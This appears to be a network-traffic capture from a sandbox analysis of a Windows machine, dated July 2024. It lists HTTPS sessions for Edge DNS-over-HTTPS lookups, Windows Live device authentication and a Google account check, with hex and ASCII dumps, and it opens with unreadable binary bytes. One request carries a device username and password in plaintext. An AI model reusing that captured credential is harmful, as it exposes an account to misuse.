sJp:fc+UvJg\0E+:;[n<?jOpD1;j=h&U?%h@Q6PlNf"wi_@b \b\|wt7nvtD<C}\|7e^m?<F\p2uB<Yx9"AI3\[s5y~
2024-07-24 00:39:22 UTC	1390	IN	Data Raw: 58 f0 77 67 86 f4 73 f4 82 39 aa e0 7a ec d0 f9 66 30 94 41 fc df ee db 1c a9 13 e6 2d 30 13 82 a1 ce 12 31 7d 82 53 e2 83 47 45 59 27 58 b8 8f 29 06 91 69 cf 5a f8 cc 88 c6 0f 64 a8 24 03 ce ef 34 a6 34 d9 53 76 aa d1 f7 b6 0a 2b fc d4 75 76 ce 3a 75 4f 2d 57 df f3 bf de ff fb dd 66 83 81 23 92 f4 b0 c9 4d 75 c1 14 7c 9e f8 b8 ab 3c 75 20 0d 34 51 a3 0e b9 57 8f 5c c9 54 10 9d 35 cc 9b 85 ba 8d ce d3 40 ea df eb f4 bd c6 2c 8d bf 7f cb f8 66 fe ef 5a ba 1d ba 7f 9e b7 3c ff e1 39 cb 7f 7d 77 90 3e 1b 53 53 b5 ff 3a 2b 59 eb 1a b5 ef 9a f3 97 e0 e3 a3 e0 8e ca 4c fb 5e 74 ea 56 74 b6 f6 9f d3 57 e1 d7 9f b9 df 5e fe f7 bb 96 ae e7 1e 0d df 6b e7 fb 2c e6 b1 79 7f 1c 1b ef fb ff 1f ba be 0c 5d 77 5f 05 74 4c cd 62 ce b9 d6 b7 e6 3a 9d e3 7f 1f 1a cd c7 fb Data Ascii: Xwgs9zf0A-01}SGEY'X)iZd$44Sv+uv:uO-Wf#Mu\|<u 4QW\T5@,fZ<9}w>SS:+YL^tVtW^k,y]w_tLb:
2024-07-24 00:39:22 UTC	1390	IN	Data Raw: 4d 15 00 a4 81 86 68 ad 33 4d c7 0c 67 6e 81 d6 1e 0c 0b 79 e1 e5 4a 9e 81 e8 0e 6d e9 ca e1 60 fa 07 7f fa d2 b1 1f f7 7b ac 3f 4a 13 55 ac f1 4c 7f 94 cf f0 fa f1 b6 7e 2d 9f 5f f6 86 cc fe f1 ec 09 fd 70 24 26 57 1c cf 8f 61 96 f1 4e 24 37 5b 2c f1 37 09 ff 3e 8d 4e e3 76 3b 30 89 99 dc ba 80 99 fa f5 86 7a ab 17 00 10 99 70 d6 78 75 3f ec 5d 26 c0 29 73 23 b1 4d 01 b1 bd 85 22 65 c6 ae 4d 05 29 bb 19 a4 97 d3 26 50 39 76 5a 02 7b 3b 5c cd 19 16 9a 34 6a ca 98 31 83 a3 30 c0 8d 8b 90 69 14 2e 18 a7 11 fc 43 a4 1b 50 25 a6 9a b3 38 b3 01 a7 ed 89 86 13 1f da e6 66 69 88 9b 9b cb a3 0e 88 10 49 34 ac c5 ac 87 cc 0e df 3a 83 59 3f 4a c7 9a 9c 4a 52 22 4a 73 50 10 93 5b 04 26 5d e4 1b 03 5e 57 1d b5 9f 07 15 ea 11 56 a2 32 1c 57 08 4b 8e 3a dd 14 09 a5 9a Data Ascii: Mh3MgnyJm`{?JUL~-_p$&WaN$7[,7>Nv;0zpxu?]&)s#M"eM)&P9vZ{;\4j10i.CP%8fiI4:Y?JJR"JsP[&]^WV2WK:
2024-07-24 00:39:22 UTC	1390	IN	Data Raw: a0 8e 2c ba 65 e8 66 34 3d 97 d3 d8 25 32 96 b3 f5 13 f7 6e 04 c3 e8 d7 24 af 68 00 67 eb c3 66 e7 0c 80 f3 86 ed 66 61 be 93 2c c1 a2 81 5f 40 75 19 01 ec 81 b2 11 59 6b 02 01 7c 80 cd 06 9c b7 f6 39 2e 1b a2 d1 59 0b 31 ae 2b a8 f9 19 97 78 ba 9e 92 04 eb 38 0f b1 da 61 42 cf b8 b8 ab 80 50 16 da 7c e0 2a 5d 2e b6 61 3d 16 a7 f7 ad 25 37 09 0c 17 4a fa a3 b0 2f 74 b2 60 63 c4 b5 32 fd ca 4b dc 91 50 cd 08 cf a1 3e ef 10 50 75 05 0f a4 06 bb 61 21 1b 94 db 98 9a 6d 25 ee 69 db 2b 4b 9f 80 46 c6 7a 5d 13 fe 95 45 1a 44 be bd d3 f7 20 9f 7f 88 83 9f 5b 5b 41 3d 0c 7f 6e 6e 02 8a 0a a9 66 0f 64 38 ff 27 1a e0 86 95 3d 0e 65 8e 2a 9e ff b3 5a f5 13 b7 6b 4c e2 da dd 53 96 36 98 be 35 e0 8b a2 03 ec 6d 83 0f 98 a6 6a 9a 7d d4 30 cf b9 22 24 be 95 ed ae b5 82 Data Ascii: ,ef4=%2n$hgffa,_@uYk\|9.Y1+x8aBP\|].a=%7J/t`c2KP>Pua!m%i+KFz]ED [[A=nnfd8'=eZkLS65mj}0"$
2024-07-24 00:39:22 UTC	1390	IN	Data Raw: 3f ec fa 62 d7 ae 70 87 c6 bc 81 e5 c6 01 f8 80 6e be 68 ae 8d 1a 92 d9 22 7c fb 47 cd 55 a8 b9 72 2b d4 f6 c4 b2 bb dd a3 21 3e c1 52 53 40 cc 0f 98 69 56 28 ab c0 b8 20 06 f5 02 9a 6f 68 bf 82 e6 8f 24 99 81 79 93 8e d4 f5 47 b4 3f 91 f0 93 e1 db ea 74 d9 df bc 02 e8 81 b4 53 49 59 03 c4 1b 90 6e de 93 27 17 a4 fa 97 68 50 4b ef a1 19 2a b3 8e 70 02 6b db 66 44 24 b0 33 79 cf de 43 b1 cd cd c3 41 86 8d 22 07 8e 36 37 b7 cc 9f 0b de bb 60 25 1c fe f7 ea 9b 07 c5 80 f6 9d 10 df 4c b8 27 ef 1c 14 d6 c4 c3 c8 1c ee dd 3d 4d da 8a 0c c4 52 71 54 0a cc 3d d5 5f 29 07 02 fd 8d 5b 75 1c 35 30 b0 47 f8 b3 f1 28 6e 46 7c 56 31 fc 89 c5 6c ca aa 76 67 10 f7 66 c9 bd 26 86 fd fd 33 5d db d6 b3 31 ae 67 3e af 13 4c ea cf 63 28 1c 73 d5 b7 cf 2e dd b8 9a fa 75 a8 12 Data Ascii: ?bpnh"\|GUr+!>RS@iV( oh$yG?tSIYn'hPK*pkfD$3yCA"67`%L'=MRqT=_)[u50G(nF\|V1lvgf&3]1g>Lc(s.u
2024-07-24 00:39:22 UTC	1390	IN	Data Raw: f9 d6 22 50 e1 7c 45 1a 0c 27 c9 15 33 8e 4d 6d 30 cb db c6 1d 95 4b 44 47 2a fe 65 6d 62 82 56 4a e1 cb 97 55 fc 6d 2d fc d8 a1 69 e9 bd ea 7b 41 b9 d4 6c 30 29 3a d9 54 cc 2c 05 5e a2 02 b3 c5 bb 08 19 d8 62 b9 d7 a5 62 06 3c 34 40 2e 25 3c 2e c3 97 e2 9d d1 3b c2 71 73 13 d5 e3 35 1f 0d 77 bd 52 9b 9d 01 9b 76 ce d3 0a 52 52 c7 6b 5d b2 e6 95 0a ae bf 14 a3 21 ab aa 31 20 bd b4 d7 42 bf e6 ac e0 5e 40 6f ac 03 3a 6a 01 54 03 d6 36 21 06 2c ba 37 91 a3 0c 4f d2 f8 12 13 46 bb 84 e9 6e dd 4f 81 45 78 78 68 42 e3 13 1f ac 1d 5f 60 04 f8 9a c2 4f 39 8e dc 8c 8d 17 91 02 eb a3 e5 59 ed 20 d2 12 4f e2 a7 7e 66 86 b7 89 8d 5e 42 dd ad 6d cf 2f c2 ed a0 58 e6 a4 e8 94 cb 4f a1 44 3b d4 2c b4 50 44 ce 14 d0 d2 b6 82 1a 45 be 6a b8 a8 f3 70 b4 81 60 59 46 50 39 Data Ascii: "P\|E'3Mm0KDG*embVJUm-i{Al0):T,^bb<4@.%<.;qs5wRvRRk]!1 B^@o:jT6!,7OFnOExxhB_`O9Y O~f^Bm/XOD;,PDEjp`YFP9
2024-07-24 00:39:22 UTC	1390	IN	Data Raw: 4e 57 c1 ef e1 60 9a 5e 4e 7f fd fa f3 8f 27 8f ff d8 06 aa 7b 8f 52 b0 a4 78 a6 f8 ce 72 c4 5f 39 36 74 23 3d a2 5e 64 ed 29 3c 87 d5 63 57 ef 41 05 40 38 0f e8 2f d0 e8 ee 60 78 31 a8 e0 aa 56 f0 9d a3 17 ab 1f c9 83 ee a5 c0 0c d4 43 84 42 20 54 19 07 77 89 e3 f9 04 05 67 92 9e a7 b0 83 ae 1c df b9 60 e3 01 68 2e f0 49 a9 c5 b0 3d 74 1f 03 d9 07 37 09 19 27 70 29 60 8f d4 1e 13 eb a4 2d 83 17 0b 58 58 65 0b 2b 09 80 2e 29 5a 5a 1e 7b 0b 46 a0 a2 7f e9 a8 77 64 98 5b 0e e4 3a 8a 11 91 76 32 04 ed 6a 28 4f 01 04 c6 70 85 84 f6 e7 b3 20 6e 41 39 10 d0 00 a9 42 a0 f8 c0 6e f0 6c 6d 44 a1 12 09 6c f4 67 bf 3f ab ff f1 f8 f1 1c 10 16 b7 35 9a 93 9f 70 5f e2 ca bd 60 c7 46 0f d8 18 13 66 58 1b 01 f9 88 5d 2a e3 a5 e8 eb b3 27 1a 94 30 a2 67 4f 44 be 18 97 0f Data Ascii: NW`^N'{Rxr_96t#=^d)<cWA@8/`x1VCB Twg`h.I=t7'p)`-XXe+.)ZZ{Fwd[:v2j(Op nA9BnlmDlg?5p_`FfX]*'0gOD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49778	172.64.41.3	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:24 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-07-24 00:39:24 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-07-24 00:39:24 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 24 Jul 2024 00:39:24 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8a7fda5b5d554376-EWR alt-svc: h3=":443"; ma=86400
2024-07-24 00:39:24 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e8 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49777	162.159.61.3	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:24 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-07-24 00:39:24 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-07-24 00:39:24 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 24 Jul 2024 00:39:24 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8a7fda5b7d2f42f1-EWR alt-svc: h3=":443"; ma=86400
2024-07-24 00:39:24 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e6 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49779	162.159.61.3	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:24 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-07-24 00:39:24 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-07-24 00:39:24 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 24 Jul 2024 00:39:24 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8a7fda5c1b757c7b-EWR alt-svc: h3=":443"; ma=86400
2024-07-24 00:39:24 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f0 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49776	20.190.159.4	443

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:24 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-07-24 00:39:24 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-07-24 00:39:25 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 24 Jul 2024 00:38:25 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_BL2 x-ms-request-id: 0572772f-8bc4-43f0-a06d-43e5a5c3b5cf PPServer: PPV: 30 H: BL02EPF0001D6E0 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 24 Jul 2024 00:39:24 GMT Connection: close Content-Length: 1277
2024-07-24 00:39:25 UTC	1277	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49786	20.190.159.4	443

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:26 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-07-24 00:39:26 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 69 65 6a 71 65 69 6f 6f 73 67 74 75 6c 71 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 30 7a 2d 33 3f 76 75 2c 6b 79 24 28 60 50 62 58 56 76 6b 71 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 61 6b 71 72 6c 66 67 75 6b 69 6a 65 76 6c 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02iejqeioosgtulq</Membername><Password>0z-3?vu,ky$(`PbXVvkq</Password></Authentication><OldMembername>02akqrlfgukijevl</OldM
2024-07-24 00:39:29 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Wed, 24 Jul 2024 00:38:26 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C528_BL2 x-ms-request-id: 5b56e345-54ee-4a40-8fdb-a39de65f2e1c PPServer: PPV: 30 H: BL02EPF00027838 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 24 Jul 2024 00:39:28 GMT Connection: close Content-Length: 17166
2024-07-24 00:39:29 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 30 30 31 30 30 32 46 46 30 41 30 46 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 37 34 35 62 38 61 37 38 2d 34 33 37 35 2d 34 65 33 38 2d 61 36 34 36 2d 62 62 31 35 38 30 37 63 39 35 38 38 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018001002FF0A0F</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="745b8a78-4375-4e38-a646-bb15807c9588" LicenseID="3252b20c-d425-4711
2024-07-24 00:39:29 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49787	142.250.185.142	443	7512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:26 UTC	1215	OUT	GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=820094583&timestamp=1721781564600 HTTP/1.1 Host: accounts.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-24 00:39:26 UTC	1953	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: ALLOW-FROM https://accounts.google.com Content-Security-Policy: frame-ancestors https://accounts.google.com Content-Security-Policy: script-src 'report-sample' 'nonce-cGN8-kb3LeCYw2rKmKqNGA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 24 Jul 2024 00:39:26 GMT 